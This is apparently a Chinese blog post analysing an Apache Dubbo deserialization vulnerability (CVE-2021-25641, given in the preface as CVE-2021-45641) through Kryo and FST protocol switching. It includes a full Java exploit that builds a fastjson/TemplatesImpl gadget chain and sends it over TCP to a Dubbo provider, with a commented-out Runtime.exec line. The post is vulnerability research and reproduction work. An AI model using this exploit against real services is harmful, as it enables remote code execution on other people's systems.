0 前言

本篇是Dubbo反序列化安全问题的学习和研究第二篇,来看看Dubbo2.x下,由于dubbo的数据包协议设计安全问题,导致攻击者可以选定危险的反序列化协议从而实现RCE,复现漏洞为CVE-2021-45641 Apache Dubbo协议绕过漏洞

1 Dubbo的协议设计

由于Dubbo可以支持很多类型的反序列化协议,以满足不同系统对RPC的需求,比如

  • 跨语言的序列化协议:Protostuff,ProtoBuf,Thrift,Avro,MsgPack
  • 针对Java语言的序列化方式:Kryo,FST
  • 基于Json文本形式的反序列化方式:Json、Gson

Dubbo中对支持的协议做了一个编号,每个序列化协议都有一个对应的编号,以便在获取TCP流量后,根据编号选择相应的反序列化方法,因此这就是Dubbo支持这么多序列化协议的秘密,但同时也是危险所在。在org.apache.dubbo.common.serialize.Constants中可见每种序列化协议的编号

而在Dubbo的RPC通信时,对流量的规定最前方为header,而header中通过指定SerializationID,确定客户端和服务提供端通信过程使用的序列化协议。Dubbo通信的具体数据包规定如下图所示

虽然Dubbo的provider默认使用hessian2协议,但我们可以自由的修改SerializationID,选定危险的(反)序列化协议,例如kryo和fst。

2 Dubbo中的kryo序列化协议触发点

先来复现CVE-2021-45641,根据上一篇文章的步骤(https://www.cnblogs.com/bitterz/p/15526206.html),安装zookeeper和dubbo-samples,用idea打开dubbo-samples-api,然后修改其中的pom.xml如下

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <project xmlns="http://maven.apache.org/POM/4.0.0"
  3. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  4. xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  5. <modelVersion>4.0.0</modelVersion>
  6. <groupId>org.example</groupId>
  7. <artifactId>dubbomytest</artifactId>
  8. <packaging>pom</packaging>
  9. <version>1.0-SNAPSHOT</version>
  10. <build>
  11. <plugins>
  12. <plugin>
  13. <groupId>org.apache.maven.plugins</groupId>
  14. <artifactId>maven-compiler-plugin</artifactId>
  15. <configuration>
  16. <source>8</source>
  17. <target>8</target>
  18. </configuration>
  19. </plugin>
  20. </plugins>
  21. </build>
  22. <properties>
  23. <source.level>1.8</source.level>
  24. <target.level>1.8</target.level>
  25. <dubbo.version>2.7.6</dubbo.version>
  26. <junit.version>4.12</junit.version>
  27. <docker-maven-plugin.version>0.30.0</docker-maven-plugin.version>
  28. <jib-maven-plugin.version>1.2.0</jib-maven-plugin.version>
  29. <maven-compiler-plugin.version>3.7.0</maven-compiler-plugin.version>
  30. <maven-failsafe-plugin.version>2.21.0</maven-failsafe-plugin.version>
  31. <image.name>${project.artifactId}:${dubbo.version}</image.name>
  32. <java-image.name>openjdk:8</java-image.name>
  33. <dubbo.port>20880</dubbo.port>
  34. <zookeeper.port>2181</zookeeper.port>
  35. <main-class>org.apache.dubbo.samples.provider.Application</main-class>
  36. </properties>
  37. <dependencies>
  38. <dependency>
  39. <groupId>org.apache.dubbo</groupId>
  40. <artifactId>dubbo</artifactId>
  41. <version>2.7.3</version>
  42. </dependency>
  43. <dependency>
  44. <groupId>org.apache.dubbo</groupId>
  45. <artifactId>dubbo-common</artifactId>
  46. <version>2.7.3</version>
  47. </dependency>
  48. <dependency>
  49. <groupId>org.apache.dubbo</groupId>
  50. <artifactId>dubbo-dependencies-zookeeper</artifactId>
  51. <version>2.7.3</version>
  52. <type>pom</type>
  53. </dependency>
  54. <dependency>
  55. <groupId>com.rometools</groupId>
  56. <artifactId>rome</artifactId>
  57. <version>1.8.0</version>
  58. </dependency>
  59. <dependency>
  60. <groupId>junit</groupId>
  61. <artifactId>junit</artifactId>
  62. <version>${junit.version}</version>
  63. <scope>test</scope>
  64. </dependency>
  65. </dependencies>
  66. </project>

主要是使dubbo版本<=2.7.3,直接上代码,修改自[https://github.com/Dor-Tumarkin/CVE-2021-25641-Proof-of-Concept/tree/main/DubboProtocolExploit/src/main/java/DubboProtocolExploit]

  1. package com.bitterz.dubbo;
  2. import com.alibaba.fastjson.JSONObject;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  4. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  5. import com.sun.org.apache.xpath.internal.objects.XString;
  6. import javassist.ClassPool;
  7. import javassist.CtClass;
  8. import org.apache.dubbo.common.io.Bytes;
  9. import org.apache.dubbo.common.serialize.Serialization;
  10. import org.apache.dubbo.common.serialize.fst.FstObjectOutput;
  11. import org.apache.dubbo.common.serialize.fst.FstSerialization;
  12. import org.apache.dubbo.common.serialize.kryo.KryoObjectOutput;
  13. import org.apache.dubbo.common.serialize.kryo.KryoSerialization;
  14. import org.apache.dubbo.common.serialize.ObjectOutput;
  15. import org.apache.dubbo.rpc.RpcInvocation;
  16. import org.springframework.aop.target.HotSwappableTargetSource;
  17. import java.io.ByteArrayOutputStream;
  18. import java.io.IOException;
  19. import java.io.OutputStream;
  20. import java.io.Serializable;
  21. import java.lang.reflect.*;
  22. import java.net.Socket;
  23. import java.util.HashMap;
  24. import java.util.HashSet;
  25. public class FstAndKryoGadget {
  26. // Customize URL for remote targets
  27. public static String DUBBO_HOST_NAME = "localhost";
  28. public static int DUBBO_HOST_PORT = 20880;
  29. //Exploit variant - comment to switch exploit variants
  30. public static String EXPLOIT_VARIANT = "Kryo";
  31. // public static String EXPLOIT_VARIANT = "FST";
  32. // Magic header from ExchangeCodec
  33. protected static final short MAGIC = (short) 0xdabb;
  34. protected static final byte MAGIC_HIGH = Bytes.short2bytes(MAGIC)[0];
  35. protected static final byte MAGIC_LOW = Bytes.short2bytes(MAGIC)[1];
  36. // Message flags from ExchangeCodec
  37. protected static final byte FLAG_REQUEST = (byte) 0x80;
  38. protected static final byte FLAG_TWOWAY = (byte) 0x40;
  39. public static void setAccessible(AccessibleObject member) {
  40. // quiet runtime warnings from JDK9+
  41. member.setAccessible(true);
  42. }
  43. public static Field getField(final Class<?> clazz, final String fieldName) {
  44. Field field = null;
  45. try {
  46. field = clazz.getDeclaredField(fieldName);
  47. setAccessible(field);
  48. }
  49. catch (NoSuchFieldException ex) {
  50. if (clazz.getSuperclass() != null)
  51. field = getField(clazz.getSuperclass(), fieldName);
  52. }
  53. return field;
  54. }
  55. public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
  56. final Field field = getField(obj.getClass(), fieldName);
  57. field.set(obj, value);
  58. }
  59. public static void main(String[] args) throws Exception {
  60. // 创建恶意类,用于报错抛出调用链
  61. ClassPool pool = new ClassPool(true);
  62. CtClass evilClass = pool.makeClass("EvilClass");
  63. evilClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
  64. // 让dubbo provider端报错显示调用链,或者弹计算器
  65. evilClass.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
  66. // evilClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
  67. byte[] evilClassBytes = evilClass.toBytecode();
  68. // 构建templates关键属性,特别是_bytecodes
  69. TemplatesImpl templates = new TemplatesImpl();
  70. setFieldValue(templates, "_bytecodes", new byte[][]{evilClassBytes});
  71. setFieldValue(templates, "_name", "test");
  72. setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
  73. // Dubbo自带fastJson解析器,且这种情况下会自动调用对象的getter方法,从而触发TemplatesImpl.getOutputProperties()
  74. JSONObject jo = new JSONObject();
  75. jo.put("oops",(Serializable)templates); // Vulnerable FastJSON wrapper
  76. // 借助Xstring.equals调用到JSON.toString方法
  77. XString x = new XString("HEYO");
  78. Object v1 = new HotSwappableTargetSource(jo);
  79. Object v2 = new HotSwappableTargetSource(x);
  80. // 取消下面三行注释,增加new hashMap的注释,并将后方objectOutput.writeObject(hashMap)修改为hashSet,从而替换调用链
  81. // HashSet hashSet = new HashSet();
  82. // Field m = getField(HashSet.class, "map");
  83. // HashMap hashMap = (HashMap) m.get(hashSet);
  84. HashMap<Object, Object> hashMap = new HashMap<>();
  85. // 反射修改hashMap中的属性,让其保存v1 和 v2,避免本地调用hashMap.put触发payload
  86. setFieldValue(hashMap, "size", 2);
  87. Class<?> nodeC;
  88. try {
  89. nodeC = Class.forName("java.util.HashMap$Node");
  90. }
  91. catch ( ClassNotFoundException e ) {
  92. nodeC = Class.forName("java.util.HashMap$Entry");
  93. }
  94. Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
  95. nodeCons.setAccessible(true);
  96. Object tbl = Array.newInstance(nodeC, 2);
  97. Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
  98. Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
  99. setFieldValue(hashMap, "table", tbl);
  100. // 开始准备字节流
  101. ByteArrayOutputStream bos = new ByteArrayOutputStream();
  102. // 选择FST或者Kryo协议进行序列化
  103. Serialization s;
  104. ObjectOutput objectOutput;
  105. switch(EXPLOIT_VARIANT) {
  106. case "FST":
  107. s = new FstSerialization();
  108. objectOutput = new FstObjectOutput(bos);
  109. break;
  110. case "Kryo":
  111. default:
  112. s = new KryoSerialization();
  113. objectOutput = new KryoObjectOutput(bos);
  114. break;
  115. }
  116. // 0xc2 is Hessian2 + two-way + Request serialization
  117. // Kryo | two-way | Request is 0xc8 on third byte
  118. // FST | two-way | Request is 0xc9 on third byte
  119. // 组装数据包的头部
  120. byte requestFlags = (byte) (FLAG_REQUEST | s.getContentTypeId() | FLAG_TWOWAY);
  121. byte[] header = new byte[]{MAGIC_HIGH, MAGIC_LOW, requestFlags,
  122. 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; // Padding and 0 length LSBs
  123. bos.write(header);
  124. // 组装数据包的内容
  125. RpcInvocation ri = new RpcInvocation();
  126. ri.setParameterTypes(new Class[] {Object.class, Method.class, Object.class});
  127. //ri.setParameterTypesDesc("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;");
  128. // 需要根据dubbo存在的服务添加
  129. ri.setArguments(new Object[] { "sayHello", new String[] {"org.apache.dubbo.demo.DemoService"}, new Object[] {"YOU"}});
  130. // Strings need only satisfy "readUTF" calls until "readObject" is reached
  131. // 下面四个随便输入,无所谓
  132. objectOutput.writeUTF("2.0.1");
  133. objectOutput.writeUTF("org.apache.dubbo.demo.DeService");
  134. objectOutput.writeUTF("0.1.0");
  135. objectOutput.writeUTF("sayello");
  136. // 不能随便输入
  137. objectOutput.writeUTF("Ljava/lang/String;"); //*/
  138. // 序列化恶意对象
  139. objectOutput.writeObject(hashMap);
  140. objectOutput.writeObject(ri.getAttachments());
  141. objectOutput.flushBuffer();
  142. byte[] payload = bos.toByteArray();
  143. int len = payload.length - header.length;
  144. Bytes.int2bytes(len, payload, 12);
  145. // 将数据包用十六进制输出
  146. for (int i = 0; i < payload.length; i++) {
  147. System.out.print(String.format("%02X", payload[i]) + " ");
  148. if ((i + 1) % 8 == 0)
  149. System.out.print(" ");
  150. if ((i + 1) % 16 == 0 )
  151. System.out.println();
  152. }
  153. // 将数据包转换成String输出
  154. System.out.println();
  155. System.out.println(new String(payload));
  156. // 使用TCP发送payload
  157. Socket pingSocket = null;
  158. OutputStream out = null;
  159. try {
  160. pingSocket = new Socket(DUBBO_HOST_NAME, DUBBO_HOST_PORT);
  161. out = pingSocket.getOutputStream();
  162. } catch (IOException e) {
  163. return;
  164. }
  165. out.write(payload);
  166. out.flush();
  167. out.close();
  168. pingSocket.close();
  169. System.out.println("Sent!");
  170. }
  171. }

注释给的比较多了,就不详细展开Templates.getOutputProperties()和fastJson自动调用目标getter方法的部分了(其实用报错的的方法可以在provider端看到全部调用链)。运行代码,攻击dubbo provider后,运行前面的代码new java.io.IOException().printStackTrace();,效果如下

从调用链来看,kryo反序列化时,也是针对不同的对象类型使用不同的反序列化器,而MapSerializer中肯定也有和hessian2一样的操作,调用map.put方法,来看看源代码:

  • com.esotericsoftware.kryo.serializers.MapSerializer#read

省略了一部分代码,只关注核心部分,在for循环中,不断反序列化获取key和value,再使用map.put还原对象,而这个map会根据传过来的类型自动创建,也就是说,我们发到provider的HashMap类,在provider中创建了一个空的HashMap对象,也就是这里的map,而后调用HashMap.put方法放入key-value。

在dubbo provider端,给map.put处打断点,进入调试,在map.put处跟进,可见经典的HashMap.put->HashMap.putVal->key.equals(k)(注意此时key和k是HotSwappableTargetSource类的不同实例对象,结合前面的代码,其中key=v2,k=v1,v1.target=XString

也就是,HotSwappableTargetSource.equals()

由于java中处理&&判断时,如果&&前面的条件结果为false,则不会执行&&符号后面的语句。此时变量other=v1=HotSwappableTargetSource,因此other instanceof HotSwappableTargetSource=true,所以执行&&后面的语句。此时结合前面的代码this=v2,因此this.target=XString("HEYO"),而other.target=jo,因此调用的时XString.equals(jo),跟进XString.equals方法

obj2就是我们构造的代码中的JSONObject对象,此时调用JSONObject.toString()方法,进一步跟进,会调用到toJSONString方法

而fastjson的反序列化过程,会自动调用反序列化目标类的所有getter方法,即调用到TemplatesImpl.getOutputProperties方法,从而造成任意代码执行。

因此kryo序列化协议的危险触发点实际上还是来自于Map类型的反序列化会用到Map.put方法,从而调用到equals、hashCode等方法造成RCE。

3 Dubbo中的fst序列化协议触发点

3.1 fst复现

源代码比较多就不一步一步说了,直接找到org.apache.dubbo.common.serialize.fst.FstObjectInput的readObject方法,跟进其具体实现方法,到达org.nustaq.serialization.FSTObjectInput的readObject方法,再进一步跟进可以看到fst也会根据反序列化对象类型选择反序列化器,并调用该反序列化器的instantiate方法,看下截图中的代码

注意这个FSTObjectSerializer类,这是一个接口,看看它的具体实现有哪些

FST跟前面的kryo、hessian2序列化协议差不多,针对不同的类型,在反序列化时通过不同的反序列化器还原出对象。FST协议对Map显然也用了专门的反序列化器,跟进org.nustaq.serialization.serializers.FSTMapSerializer中的instantiate方法

这代码一看就能抓住重点,for循环中不断反序列化还原出key和value,再用map.put将key和value还原,显然也时HashMap的触发链,我用https://github.com/Dor-Tumarkin/CVE-2021-25641-Proof-of-Concept 中的poc尝试了一下,发现并没有弹出计算器,又从provider端在上方的代码中调试了一下,发现FST处理Templates对象时,会调用其readObject方法进行还原

上面可以看到provider端并没有还原出_bytecodes属性,不知道具体原因是啥,最后FST序列化协议在Dubbo中的漏洞poc没有复现出来。

3. 2 思路梳理

后面仔细了一下CVE-2021-25641提交者写的文章 https://checkmarx.com/blog/the-0xdabb-of-doom-cve-2021-25641/

里面提到还有不需要fastjson的poc,而且可利用版本更多

具体确认了一下,之所以利用有fastjson达到rce,是因为dubbo<=2.7.3时,fastjson的版本<=1.2.46,那扩展一下的话,还能用通用payload打。

图中说的不依赖fastjson的poc攻击版本更多,但作者没有公开这个poc,自己动手挖了一下,没有发现可以在equals、hashCode、toString方法后面继续接的类(排除fastjson的情况下),待日后大佬们出poc的时候再回来补充一下吧

4 总结

CVE-2021-25641这哥漏洞的攻击性挺强的呀,只要找到provider,在2.7.x这么高版本的情况下都能反序列化攻击,但目前看到的poc都依赖fastjson,祈求师傅们分析一下不依赖fastjson的poc学习一下:)

dubbo 2.x版本为了满足自动化匹配多种序列化协议,设计了dubbo数据包协议,结果其设计缺乏安全验证,产生了如此危险的漏洞。

Dubbo的反序列化安全问题——kryo和fst的更多相关文章

  1. Dubbo的反序列化安全问题-Hessian2

    0 前言 本篇是系列文章的第一篇,主要看看Dubbo使用反序列化协议Hessian2时,存在的安全问题.文章需要RPC.Dubbo.反序列化等前提知识点,推荐先阅读和体验Dubbo以及反序列化漏洞. ...

  2. 在Dubbo中使用高效的Java序列化(Kryo和FST)

    在Dubbo中使用高效的Java序列化(Kryo和FST) 作者:沈理 文档版权:Creative Commons 3.0许可证 署名-禁止演绎 完善中…… TODO 生成可点击的目录 目录 序列化漫 ...

  3. java序列化框架(protobuf、thrift、kryo、fst、fastjson、Jackson、gson、hessian)性能对比

     我们为什么要序列化 举个栗子:下雨天我们要打伞,但是之后我们要把伞折叠起来,方便我们存放.那么运用到我们java中道理是一样的,我们要将数据分解成字节流,以便存储在文件中或在网络上传输,这叫序列 ...

  4. 序列化与反序列化之Kryo

    序列化:把对象转换为字节序列的过程称为对象的序列化. 反序列化:把字节序列恢复为对象的过程称为对象的反序列化. 需要序列化的情况: 当你想把的内存中的对象状态保存到一个文件中或者数据库中时候: 当你想 ...

  5. 高性能的序列化与反序列化:kryo的简单使用

    前言:kryo是个高效的java序列化/反序列化库,目前Twitter.yahoo.Apache.strom等等在使用该技术,比如Apache的spark.hive等大数据领域用的较多. 为什么使用k ...

  6. 【CVE-2020-1948】Apache Dubbo Provider反序列化漏洞复现

    一.实验简介 实验所属系列: 系统安全 实验对象:本科/专科信息安全专业 相关课程及专业: 计算机网络 实验时数(学分):2 学时 实验类别: 实践实验类 二.实验目的 Apache Dubbo是一款 ...

  7. Alibaba-技术专区-Dubbo3总体技术体系介绍及技术指南(目录)

    Dubbo3开题简介 如开篇所述,Dubbo 提供了构建云原生微服务业务的一站式解决方案,可以使用 Dubbo 快速定义并发布微服务组 件,同时基于 Dubbo 开箱即用的丰富特性及超强的扩展能力,构 ...

  8. 分布式RPC框架Dubbo实现服务治理:集成Kryo实现高速序列化,集成Hystrix实现熔断器

    Dubbo+Kryo实现高速序列化 Dubbo RPC是Dubbo体系中最核心的一种高性能,高吞吐量的远程调用方式,是一种多路复用的TCP长连接调用: 长连接: 避免每次调用新建TCP连接,提高调用的 ...

  9. Dubbo + Kryo 实现高速序列化

    Dubbo 中的序列化 Dubbo RPC 是 Dubbo 体系中最核心的一种高性能.高吞吐量的远程调用方式,可以称之为多路复用的 TCP 长连接调用: 长连接:避免了每次调用新建 TCP 连接,提高 ...

随机推荐

  1. 初始HTML05

    HTML 表单控件属性 表单控件可设置以下标签属性 属性名 取值 type 设置控件类型 name 设置控件名称,最终与值一并发送给服务器 value 设置控件的值 placeholder 设置输入框 ...

  2. Python语法1

    变量 命名规则 变量名必须是大小写英文字母.数字或下划线 _ 的组合,不能用数字开头,并且对大小写敏感 变量赋值 同一变量可以反复赋值,而且可以是不同类型的变量 i=2; i="name&q ...

  3. Scrum Meeting 0605

    零.说明 日期:2021-6-5 任务:简要汇报两日内已完成任务,计划后两日完成任务 一.进度情况 组员 负责 两日内已完成的任务 后两日计划完成的任务 困难 qsy PM&前端 暂无 重新设 ...

  4. UltraSoft - Beta - 项目展示

    UltraSoft - DDL Killer - Beta 项目展示 团队介绍 CookieLau fmh 王 FUJI LZH DZ(转出) Monster hdl(转入) PM & 后端 ...

  5. mongodb的聚合操作

    在mongodb中有时候我们需要对数据进行分析操作,比如一些统计操作,这个时候简单的查询操作(find)就搞不定这些需求,因此就需要使用  聚合框架(aggregation) 来完成.在mongodb ...

  6. Spring MVC:HandlerMapping

    HandlerMapping 的类图 Spring中存在两种类型的handlers.第一种是 handler mappings(处理程序映射).它们的角色定位与前面所描述的功能完全相同.它们尝试将当前 ...

  7. 奔跑吧linux-第三章实验

    基于树莓派+openeuler平台 实验 3-2:汇编语言练习--查找最大数 1.实验目的 通过本实验了解和熟悉 ARM64 汇编语言. 2.实验要求 使用 ARM64 汇编语言来实现如下功能:在给定 ...

  8. 链表分割 牛客网 程序员面试金典 C++ Python

    链表分割 牛客网 程序员面试金典 C++ Python 题目描述 编写代码,以给定值x为基准将链表分割成两部分,所有小于x的结点排在大于或等于x的结点之前 给定一个链表的头指针 ListNode* p ...

  9. hdu 3199 Hamming Problem(构造?枚举?)

    题意: For each three prime numbers p1, p2 and p3, let's define Hamming sequence Hi(p1, p2, p3), i=1, . ...

  10. linux 内核源代码情景分析——Intel X86 CPU 系列的寻址方式

    当我们说一个CPU是"16位"或"32"位时,指的是处理器中"算数逻辑单元"(ALU)的宽度.数据总线通常与ALU具有相同的宽度.当Inte ...